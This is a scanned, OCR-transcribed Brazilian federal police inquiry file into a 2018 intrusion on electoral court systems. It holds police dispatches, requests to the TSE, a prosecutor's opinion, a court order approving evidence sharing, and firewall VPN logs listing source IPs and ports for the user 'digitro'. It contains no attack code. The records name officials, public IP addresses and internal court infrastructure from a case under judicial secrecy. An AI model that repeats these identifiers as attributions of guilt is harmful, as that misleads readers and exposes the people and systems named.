excelência o compartilhamento de provas produzidas no âmbito daquele inquérito (IPL 005/2017-DICINT/DIP), de modo que 
seja comprovada a vinculação daqueles autores com os fatos tratados na presente investigação, conferindo-se celeridade e 
eficiência ao apurartório. 


Com votos e estrima e consideração, pede o deferimento. 
4. Tendo em vista o término do prazo de permanência dos autos em cartório policial, remetam-se ao MPF/DF para fins de controle 


externo. 


Brasília/DF, 23 de novembro de 2020. 


Documento eletrônico assinado em 23/11/2020, às 15h12, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal, 
na forma do artigo 1º, inciso III, da Lei 11419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser conferida no 
site https://servicos dpf.gov br/assinatura/app/assinatura, informando o seguinte código verificador: 
37d13c2baa4fc4c 13acc4be Idd3e04alaa794644 








POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 
Endereço: SAIS, Qd. 7, Lote 23, Sala 135 - CEP:70610-902 - Brasília / DF 


Ofício nº 1425061/2020 - GRCC/DRCOR/SR/PF/DF 
Brasília / DF, 23 de novembro de 2020 . 


A Sua Excelência 

Presidente do Tribunal Superior Eleitoral 
Tribunal Superior Eleitoral - TSE 

Setor de Administração Federal Sul (SAFS) 
Quadra 7, Lotes 1/2, Brasília/DF 

CEP 70070-600 


Assunto: 2º Reiteração do Ofício nº 0070/2020 - IPL 1361/2018-4 SR/PF/DF 
Referência :IPL 2020.0043195-SR/PF/DF (número novo) ou IPL 1361/2018-4 - SR/PF/DF (número antigo) 


Senhor Ministro, 


Visando a instruir os autos do Inquérito Policial nº 2020.0043195-SR/PF/DF (número novo) ou IPL 1361/2018-4 - SR/PF/DF 
(número antigo), solicito a Vossa Excelência informar as portas lógicas das seguintes conexões, bem como seus fusos horários: 


189.40.75.154, em 18/04/2018, às 18:56:14 

191.51.34.72, em 18/04/2018, às 19:02:05 

189.40.75.239, em 18/04/2018 20:45:41 

177.219.117.183, em 18/04/2018, às 20:56:20 

189.40.72.247, 18/04/2018, às 22:21:17 

189.40.72.14, em 18/04/2018 22:23:14 

189.40.91.135, em 18/04/2018, às 22:29:37 

189.40.90.239, em 19/04/2018, às 01:13:32 

189.40.90.253, em 19/04/2018, às 04:08:37 

201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 


Em anexo cópia de fl. 85 dos autos, encaminhada pelo servidor CRISTIANO MOREIRA ANDRADE. 


Respeitosamente, 


VICTOR NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 
Classe Especial - Matrícula nº 16.179 


Documento eletrônico assinado em 23/11/2020, às 15h32, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal, 
na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser conferida no 
site https://servicos dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador: 
d0709030d3feab5 17f65cdfe4b2868daO dO 1a809 








us JP 
EN; a ga 


POLÍCIA FEDERAL 


TERMO DE REMESSA 


Faço a remessa dos autos para a APRECIAÇÃO ao judiciário. 





Documento eletrônico assinado em 23/11/2020, às 15h57, por LEONARDO BRUCE MADUREIRA LOPES, Escrivao de Policia 
Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser 
conferida no site https://servicos .dpf.govbr/assinatura/app/assinatura, informando o seguinte código verificador: 
5d26917ee7b03c46bb004a2502d26b8c538259da 


Justiça Federal da 1º Região 
Varas e Juizados (1º grau) 
Comprovante de protocolo 





Processo 

Número do processo: 1065955-77.2020.4.01.3400 

Órgão julgador: 10º Vara Federal Criminal da SJDF 

Jurisdição: Seção Judiciária do Distrito Federal 

Classe: INQUÉRITO POLICIAL (279) 

Assunto principal: Invasão de Dispositivo Informático 

Valor da causa: R$ 0,00 

Segredo de justiça: Sim 

Partes: Polícia Federal no Distrito Federal (PROCESSOS CRIMINAIS) 
INDETERMINADO 

Audiência 

Documentos protocolados Tipo Tamanho (KB) 

Petição inicial Petição inicial 6,02 

2020.0043195-Autos Principais-até fls. 361- Inquérito policial 9813,24 

2020.11.23.pdf 

Assuntos Lei 

DIREITO PENAL (287) / Crimes contra a inviolabilidade de segredo (3412) / Invasão de É 

Dispositivo Informático (11978 p 

TESTEMUNHA TESTEMUNHA 

Polícia Federal no Distrito Federal (PROCESSOS 

CRIMINAIS) INDETERMINADO 


Distribuído em: 23/11/2020 15:00 
Protocolado por: LEONARDO BRUCE MADUREIRA LOPES 
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POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PE/DF 


DESPACHO Nº 1687089/2021 
2020.0043195-SR/PF/DF 


1. Junte-se a resposta do TSE, a manifestação do MPF/DF e a decisão judicial; 


2. Expeça-se ofício à TIM requisitando os dados cadastrais dos usuarios dos IP: 
18940.75.154, em 18/04/2018, as 18:56:14 
191.51.34.72, em 18/04/2018, as 19:02:05 
189.40.75.239, em 18/04/2018 20:45:41 
177219.117.183, em 18/04/2018, as 20:56:20 
189.40.72.247, 18/04/2018, as 22:21:17 
18940.72.14, em 18/04/2018 22:23:14 
18940.91.135, em 18/04/2018, as 22:29:37 
18940.90.239, em 19/04/2018, as 01:13:32 
18940.90.253, em 19/04/2018, as 04:08:37 


Devendo a indicação dos IPs acima ser acrescida das informações de porta lógica enviadas pelo TSE, confiorme item 1 
supra; 


3. Tendo em vista o término do prazo de permanência dos autos em cartório policial, remetam-se ao MPF/DF para fins de 
controle externo. 


Brasília/DF, 19 de abril de 2021. 


Documento eletrônico assinado em 19/04/2021, às 14h53, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia 
Federal, na forma do artigo 1º, inciso III, da Lei 11419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser 
conferida no site https://servicos dpf.gov br/assinatura/app/assinatura, informando o seguinte código verificador: 
b52ce6a8353c2753€ec lefd4d15b04958cc0 1c9ba 





27/11/2020 


Webmail PF - (1373) INBOX 


F1. 364 
SR/PF/DF 


Enc: IPL 1361/2018-4 SR/PF/DF&%8203; - GRCC&H8203;" "= 


Sexta, Novembro 27, 2020 12:05 -03 
Victor Neves Feitosa Campos 
campos.vnfc(mpf.sov.br 

Para 


me 


Favor juntar ao IPL 


De: TSE/Presidência <presidenciaQtse.jus.br> 
Enviado: quinta-feira, 26 de novembro de 2020 19:24 
Para: Victor Neves Feitosa Campos 


Assunto: IPL 1361/2018-4 SR/PF/DF&48203; - GRCC&88203; 


Boa tarde, 


Encaminho em anexo o Ofício GAB-SPR nº 5627/2020. 


Solicito a gentileza de confirmar recebimento. 


Joice Rocha 

Assessora-Chefe de Gabinete 
Secretaria-Geral da Presidência 
Telefone (61) 3030-7241 
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27/11/2020 SEI/TSE - 1510077 - Despacho E 
F1. 365 


SR/PF/DF' 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 
DESPACHO 
SECRETARIA DE TECNOLOGIA DA INFORMAÇÃO 


Em atenção ao Despacho  GAB-SPR (SEI 1506619),  encaminho 
a Informação COINF/STI nº 249/2020 (SEI 1510009) com os esclarecimentos 
apresentados pela área técnica desta secretaria e transcritos a seguir: 


"[...] os dados listados na Informação COINF/STI nº 245/2020 (1505168) vieram em 
discos rígidos remetidos ao TSE pelo TRE-RN e pelo TRE-BA e tais mídias foram 
entregues no ano de 2019 à equipe sob gestão da Delegada Cassiana Saad. 


Não foi realizada cópia dos discos rígidos para ambiente do TSE. 


Registramos ainda que, posteriormente à entrega dos discos rígidos citados, Delegados 
da Polícia Federal realizaram apresentação de análise preliminar dos conteúdos 
existentes nas mídias”. 


GIUSEPPE DUTRA JANINO 
SECRETÁRIO(A) DE TECNOLOGIA DA INFORMAÇÃO 
e) Documento assinado eletronicamente em 26/11/2020, às 18:20, conforme art. 1º, 82º, III, b, 
da Lei 11.419/2006. 
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SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 
Informação SESOP/COINF/STI nº 5/2020 


Senhor Coordenador, 


Solicitamos ao TRE-PB que verificasse nos logs dos firewalls as informações 
solicitadas. Segue abaixo as informações de porta/ip localizadas nos referidos logs. 


189.40.75.154, em 18/04/2018, as 18:56:14 — portas: origem ( 32738), destino (4500 VPN) 


Apr 18 18:56:14 rpbfrot03.tre-pb.gov.br id=firewall ss=COE AE485B974 time="2018-04-18 
18:56:14" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.75.154::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 18 18:56:14 rpbfrot03.tre-pb.gov.br id=firewall sn=COEA E485B974 time="2018-04-18 
18:56:14" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.75.154:32738 
dst=187.33.236.165:4500 usr="digitro" 


191 .51 .34.72, em 18/04/2018, as 19:02:05 — portas: origem (63674), destino (4500 VPN) 


Apr 18 19:02:05 rpbfrot03.tre-pb.gov.br id=firewall ss=C0OE A E485B974 time="2018-04-18 
19:02:05" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=191.51.34.72::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 18 19:02:06 rpbfrot03.tre-pb.gov.br id=firewall sn=COE A E485B974 time="2018-04-18 
19:02:05" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=191.51.34.72:63674 
dst=187.33.236.165:4500 usr="digitro" 


189.40.75.239, em 18/04/2018 20:45:41 — portas: origem (61268), destino (4500 VPN) 


Apr 18 20:45:41 rpbfrot03.tre-pb.gov.br id=firewall sn=COE A E485B974 time="2018-04-18 
20:45:41" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.75.239::X1 
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc 


Apr 18 20:45:41 rpbfrot03.tre-pb.gov.br id=firewall sn=COE A E485B974 time="2018-04-18 
20:45:41" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.75.239:61268 
dst=187.33.236.165:4500 usr="digitro" 
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SEI/TSE - 1270536 - Informação 
F1. 367 


SR/PF/DF' 
2020.0043195 


177.219.117.183, em 18/04/2018, As 20:56:20 — portas: origem (63674), destino (4500 VPN) 


Apr 18 20:56:20 rpbfrot03.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-18 
20:56:20" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=177.219.117.183::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 18 20:56:20 rpbfrot03.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-18 
20:56:20" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=177.219.117.183:63674 
dst=187.33.236.165:4500 usr="digitro" 


189.40.72.247, 18/04/2018, as 22:21:17 — portas: origem (5687), destino (4500 VPN) 


Apr 18 22:21:17 rpbfrot03.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-18 
22:21:17" fw=187.33.236.165 pri=6 c=16 geat=5 m=237 src=189.40.72.247::X1 
dst=187.33.236.165:0:X1 usr="digitro” proto=tcp sess=vpnc 


Apr 18 22:21:17 rpbfrot03.tre-pb.gov.br id=firewall ss=COE AE485B974 time="2018-04-1 8 
22:21:17" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.72.247:5687 
dst=187.33.236.165:4500 usr="digitro” 


189.40.72.14, em 18/04/2018 22:23:14 — portas: origem (47290), destino (4500 VPN) 


Apr 18 22:23:14 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18 
22:23:14" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.72.14::X1 
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc 


Apr 18 22:23:14 rpbfrot03.tre-pb.gov.br id=firewall sn=COE A E485B974 time="2018-04-18 
22:23:14" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.72.14:47290 
dst=187.33.236.165:4500 usr="digitro" 


189.40.91.135 em 18/04/2018, as 22:29:37 — portas: origem (57362), destino (4500 VPN) 


Apr 18 22:29:37 rpbfrot03.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-18 
22:29:37" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.91.135::X1 
dst=187.33.236.165:0:X1 usr="digitro” proto=tcp sess=vpnc 


Apr 18 22:29:37 rpbfrot03.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-18 
22:29:37" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.91.135:57362 
dst=187.33.236.165:4500 usr="digitro" 


189.40.90.239, em 19/04/2018, as 01:13:32 — portas: origem (64359), destino (4500 VPN) 


Apr 19 01:13:32 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-19 
01:13:32" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.90.239::X 1 
dst=187.33,236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


OO DDD e 
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Apr 19 01:13:32 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-19 
01:13:32" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.90.239:64359 
dst=187.33.236.165:4500 usr="digitro" 


189.40.90.253, em 19/04/2018, as 04:08:37 — portas: origem (16803), destino (4500 VPN) 


Apr 19 04:08:37 rpbfrot03.tre-pb.gov.br id=firewall sn=C0EAE485B974 time="2018-04-19 
04:08:37" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=189.40.90.253::X1 
dst=187.33.236.165:0:X1 usr="digitro” proto=tcp sess=vpnc 


Apr 19 04:08:37 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-19 
04:08:37" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.90.253:16803 
dst=187.33.236.165:4500 usr="digitro" 


201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42 — portas: origem 
(6802,6897), destino (4500 VPN) 


Apr 18 03:15:28 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018- 
0 
4-18 03:15:28" fw=187.33.236.165 pri=6 
c=16 gcat=5 m=237 src=201.81.167.53::X1 
d 
st=187.33.236.165:0:X1 usr="digitro" proto=tcp 
sess=vpnc 


Apr 18 03:15:28 rpbfrotO3.tre-pb.gov.br id=firewall sn=COE A E485B974 time="2018- 
0 
4-18 03:15:28" 
fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 
src=201.81.167.53:6802 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 03:01:40 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21 
03:01:40" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53:X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 21 03:01:40 rpbfrot03.tre-pb.gov.br id=firewall sn=COEA E485B974 time="2018-04-21 
03:01:40" fw=187.33.236.165 pri=6 c=16 geat=7 m=139 src=201.81.167.53:6792 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 05:17:04 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21 
05:17:04" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 21 05:17:04 rpbfrot03.tre-pb.gov.br id=firewall sn=COEA E485B974 time="2018-04-21 
05:17:04" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


E 
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Apr 21 06:16:56 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21 
06:16:56" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 21 06:16:56 rpbfrot03.tre-pb.gov.br id=firewall sn=COE AE485B974 time="2018-04-21 
06:16:56" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 06:18:22 rpbfrot03.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-21 
06:18:22" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53:X1 
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc dur=15 msg="User logged out - 
digitro" 


Apr 21 06:18:30 rpbfrot03.tre-pb.gov.br id=firewall ss=C0EAE485B974 time="2018-04-21 
06:18:30" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X]1 
dst=187.33.236.165:0:X1 usr="digitro” proto=tcp sess=vpnc 


Apr 21 06:18:30 rpbfrot03.tre-pb.gov.br id=firewall sn=COEA E485B974 time="2018-04-21 
06:18:30" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 06:32:36 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21 
06:32:36" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 21 06:32:36 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21 
06:32:36" fw=187.33.236.165 pri=6 c=16 geat=7 m=139 src=201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 06:32:42 rpbfrot03.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-21 
06:32:42" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53::X1 
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc msg="User logged out - digitro" 


Apr 21 06:49:01 rpbfrot03.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-21 
06:49:01" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 21 06:49:24 rpbfrotO3.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21 
06:49:24" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53:X] 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 21 06:49:42 rpbfrotO3.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-21 
06:49:42" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53::X1 
dst=187.33.236.165:0:X 1 usr="digitro" proto=tcp sess=vpnc dur=15 msg="User logged out - 
digitro" 


Apr 21 06:49:42 rpbfrot03.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-21 
06:49:42" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc dur=45 msg="User logged out - 
digitro” 


Apr 21 06:50:15 rpbfrot03.tre-pb.gov.br id=firewall sn=COEA E485B974 time="2018-04-21 
06:50:15" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53:X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


DO ODDS 
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Apr 21 06:50:51 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21 
06:50:51" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53:X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 21 06:50:52 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21 
06:50:52" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 06:51:51 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21 
06:51:51" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 21 06:51:51 rpbfrot03.tre-pb.gov.br id=firewall ss=COEAE485B974 time="2018-04-21 
06:51:51" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 08:36:42 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-21 
08:36:42" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc msg="User logged out — digitro” 


201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59 — portas: origem 
(33283,33370), destino (4500 VPN) 


Apr 18 05:24:54 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18 
05:24:54" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.6.129.235::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 18 05:24:54 rpbfrotO3.tre-pb.gov.br id=firewall sn=C0EAE485B974 time="2018-04-18 
05:24:54" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.6.129.235:33283 
dst=187.33.236.165:4500 usr="digitro" 


Apr 18 05:48:59 rpbfrot03.tre-pb.gov.br id=firewall sn=C0OEAE485B974 time="2018-04-18 
05:48:59" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.6.129.235::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 18 05:48:59 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18 
05:48:59" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.6.129.235:33370 
dst=187.33.236.165:4500 usr="digitro" 


É a informação. 


MARCELO CARNEIRO RODRIGUES 
CHEFE DE SEÇÃO 


to] Documento assinado eletronicamente em 05/03/2020, às 18:06, conforme art. 1º, 82º, III, b, 
da Lei 11.419/2006. 






(a A autenticidade do documento pode ser conferida em 
a ENE https://seitse,jus.br/sei/controlador externo.php? 
, Eine acao=documento conferir&id orgao acesso externo=0&cv=1270536&crc=8070DE9D, 


Eres informando, caso não preenchido, o código verificador 1270536 e o código CRC 
Ear: * 8070DE9D. 
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TRIBUNAL SUPERIOR ELEITORAL 
Informação COINF/STI nº 245/2020 
Referência: Oficio 2179 PF (SEI 1304296) 


Assunto: 
Senhor Secretário, 


Informamos que no escopo da investigação que trata a IPL 1361/2018-4 - 
SR/PF/DF, as informações abaixo foram remetidas por técnicos da COINF à Polícia Federal 
em Disco Rígido ao final do ano de 2018 e início do ano de 2019 


- Log de acesso à VPN do TRE-PB. Enviado log completo bem como log do 
usuário Digitro. 

- Cópia da máquina virtual do TRE-RN, que foi invadida durante o evento. 
- Cópia de três máquinas do TRE-BA que foram invadidas durante o 
evento de Abril. 

- Relatório do TRE-PE contendo detalhamento do evento de Abril. 

- Arquivo texto contendo resumo do evento de Abril de 2018. 


Adicionalmente, registramos que as informações requisitadas por meio do Ofício 
70 (1230941), reiterado por meio do Oficio 2179(1304296) estão contidas na 
Informação SESOP/COINF/STI nº 5/2020 (1270536) e disponíveis para remessa, em 
caráter Oficial, para a Polícia Federal. 


Registro, por fim, característica do sistema SEI, o qual não possui função de 
"remessa" de processos sigilosos, devendo ser notificadas as unidades que porventura 
deverão realizar gestão para a entrega em caráter Oficial dos dados contidos na 
supracitada Informação. 


É a informação. 





CRISTIANO MOREIRA ANDRADE 
COORDENADOR(A) 


e) Documento assinado eletronicamente em 23/11/2020, às 16:00, conforme art. 1º, 82º, III, b, 
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informando, caso não preenchido, o código verificador 1505168 e o código CRC 
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TRIBUNAL SUPERIOR ELEITORAL 
Informação COINF/STI nº 249/2020 
Referência: Despacho STI 1506843 


Assunto: IPL 1361/2018-4 - SR/PF/DF 
Senhor Secretário de Tecnologia da Informação, 


Em atenção ao Despacho GAB-SPR 1506619, informamos que os dados listados na 
Informação COINF/STI nº 245/2020 (1505168) vieram em discos rígidos remetidos ao TSE 
pelo TRE-RN e pelo TRE-BA e tais mídias foram entregues no ano de2019 à equipe sob 
gestão da Delegada Cassiana Saad. 


Não foi realizada cópia dos discos rígidos para ambiente do TSE. 


Registramos ainda que, posteriormente à entrega dos discos rígidos citados, 
Delegados da Polícia Federal realizaram apresentação de análise preliminar dos conteúdos 
existentes nas mídias. 


É a informação. 
CRISTIANO MOREIRA ANDRADE 

COORDENADOR(A) 

te) Documento assinado eletronicamente em 26/11/2020, às 17:55, conforme art. 1º, 82º, III, b, 

da Lei 11.419/2006. 






Read R https://seitse.jus.br/sei/controlador externo.php? 
Lp; acao=documento conferir&id orgao acesso externo=0&cv=1510009&crc=4A9AE813, 
= informando, caso não preenchido, o código verificador 1510009 e o código CRC 
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Justiça Federal da 1º Região 
PJe - Processo Judicial Eletrônico 


Número: 1065955-77.2020.4.01.3400 


Classe: INQUÉRITO POLICIAL 

Órgão julgador: 12º Vara Federal Criminal da SJDF 
Última distribuição : 24/11/2020 

Valor da causa: R$ 0,00 

Processo referência: 0034686-42.2017.4.01.3400 
Assuntos: Invasão de Dispositivo Informático 
Segredo de justiça? SIM 

Justiça gratuita? NÃO 

Pedido de liminar ou antecipação de tutela? NÃO 
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Polícia Federal no Distrito Federal (PROCESSOS 
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Ministério Público Federal (Procuradoria) (FISCAL DA LEI) 
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Id. Data da Documento 
Assinatura 
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39145 /02/12/2020 16:15] Pedido do MP ao JUIZ em Procedimento 
6411 Investigatório 





Pedido do MP ao JUIZ em Procedimento 
Investigatório 











PR-DF-MANIFESTAÇÃO-30174/2020 





MINISTÉRIO PÚBLICO FEDERAL 
PROCURADORIA DA REPÚBLICA - DISTRITO FEDERAL 


EXCELENTÍSSIMO (A) SENHOR (A) JUIZ (A) FEDERAL DA 12º VARA DA 
SEÇÃO JUDICIÁRIA DO DISTRITO FEDERAL. 


Autos n. 1065955-77.2020.4.01.3400 


O MINISTÉRIO PÚBLICO FEDERAL, pelo Procurador da República 
signatário, vem, perante Vossa Excelência, em atenção ao despacho retro, manifestar-se nos 


seguintes termos. 


Para verificar a assinatura acesse 


Cuida-se de representação formulada pela autoridade policial, pleiteando o 
compartilhamento de provas dos fatos tratados no IPL 005/2017-DICINT/DIP (que tramitou 
perante a 12º Vara Federal da Seção Judiciária do DF - Processo nº 0034686- 
42.2017.4.01.3400 e perante a 7º Vara Federal da Subseção Judiciária de São Paulo - 
Processo nº 0013343-32.2017.4.03.6181), com a presente investigação. 


Sustenta, em sua argumentação, que a medida se mostra deveras pertinente, 
uma vez que os fatos lá tratados coincidem com a autoria dos fatos tratados no presente 
inquérito (segundo apontado no Relatório de Análise de Alta Tecnologia nº 001/2020- 
UTC/SRCC/CGPFAZ/DICOR/PF). 


E a síntese. 


Chave B5A7D991.4DDA0976.7F1941DD.AA6D2ACE 


Presente esse panorama, considerando o apontado nos relatórios indicados, 
quais sejam, a Informação nº 002/2019- UTC/SRCC/CGPFAZ/DICOR/PF, bem como o 
Relatório de Análise de Alta Tecnologia nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF, 
manifesta-se o Parquet Federal pelo deferimento da medida, uma vez que com o 
compartilhamento das provas nos fatos semelhantes investigados, será possível colher 
elementos que demonstrem, com segurança, a materialidade dos delitos sob apuração, bem 
como poderá ser delineada a autoria delitiva dos fatos deste inquérito, com maior celeridade e 


eficiência. 


Dessa forma, manifesta-se o MINISTÉRIO PÚBLICO FEDERAL pelo 


deferimento da representação da autoridade policial. 


Ao ensejo, o MPF manifesta-se, igualmente, pela concessão de novo prazo de 


90 (noventa) dias para a continuidade das investigações levadas a efeito no inquérito policial 
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em apreço. 


Brasília, 2 de dezembro de 2020. 


MARCELO RIBEIRO DE OLIVEIRA 
PROCURADOR DA REPÚBLICA 


Para verificar a assinatura acesse 


em 02/12/2020 16:14. 


Chave B5A7D991.4DDA0976.7F1941DD.AA6D2ACE 
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Assuntos: Invasão de Dispositivo Informático 
Segredo de justiça? SIM 

Justiça gratuita? NÃO 

Pedido de liminar ou antecipação de tutela? NÃO 


24/02/2021 
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Seção Judiciária do Distrito Federal 


12º Vara Federal Criminal da SJDF 


PROCESSO: 1065955-77.2020.4.01.3400 
INQUÉRITO POLICIAL (279)Invasão de Dispositivo Informático] 
AUTORIDADE: POLÍCIA FEDERAL NO DISTRITO FEDERAL (PROCESSOS CRIMINAIS) 


REQUERIDO: INDETERMINADO 


DESPACHO 


Defiro o pedido formulado pela Autoridade Policial (IDs 383940858 e 
3839503/4), para o fim de autorizar o compartilhamento das provas 
produzidas no âmbito do inquérito policial IPL 005/2017-DICINT/DIP 
com as investigações do presente feito. 


2. Baixem os autos ao Departamento de Polícia Federal na forma 
solicitada pelo Parquet. 


Os autos tramitarão diretamente entre Autoridade Policial e 
Ministério Público Federal. 


Cientifique-se a Polícia Federal e o Ministério Público Federal. 
Brasília, 23 de fevereiro de 2021. 


MARCUS VINICIUS REIS BASTOS 





JUIZ FEDERAL 
Elza] 
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POLÍCIA FEDERAL 


GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 
